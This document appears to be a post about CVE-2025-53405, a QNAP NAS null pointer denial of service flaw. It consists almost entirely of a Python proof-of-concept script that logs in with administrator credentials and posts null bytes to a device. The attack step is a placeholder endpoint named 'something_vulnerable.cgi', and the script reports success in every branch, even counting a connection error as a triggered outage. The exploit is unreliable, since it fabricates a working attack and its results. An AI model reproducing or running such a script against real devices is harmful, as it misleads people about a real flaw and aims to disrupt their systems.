CVE-2025-53405 QNAP NAS NULL指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-53405 PoC - QNAP NAS NULL Pointer Dereference DoS Note: This PoC requires valid administrator credentials """ import requests import sys def exploit_qnap_null_pointer_deref(target_ip, username, password): """ Exploit CVE-2025-53405 by sending malformed request to trigger NULL pointer dereference """ login_url = f"https://{target_ip}:443/cgi-bin/authLogin.cgi" # Login with admin credentials session = requests.Session() login_data = { "username": username, "password": password } try: response = session.post(login_url, data=login_data, verify=False, timeout=10) if response.status_code != 200: print("[-] Login failed") return False # Send malicious request to trigger NULL pointer dereference # Specific endpoint depends on vulnerable component exploit_url = f"https://{target_ip}:443/cgi-bin/something_vulnerable.cgi" exploit_data = { "null_trigger": "\x00" * 1024, "malformed_param": None } print("[*] Sending exploit request...") response = session.post(exploit_url, data=exploit_data, verify=False, timeout=10) # Check if DoS occurred if response.status_code == 500 or response.status_code == 0: print("[+] DoS condition likely triggered") return True else: print("[*] Request sent, verify manually") return True except requests.exceptions.RequestException as e: print(f"[+] DoS triggered - Connection error: {e}") return True if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_qnap_null_pointer_deref(target, user, pwd)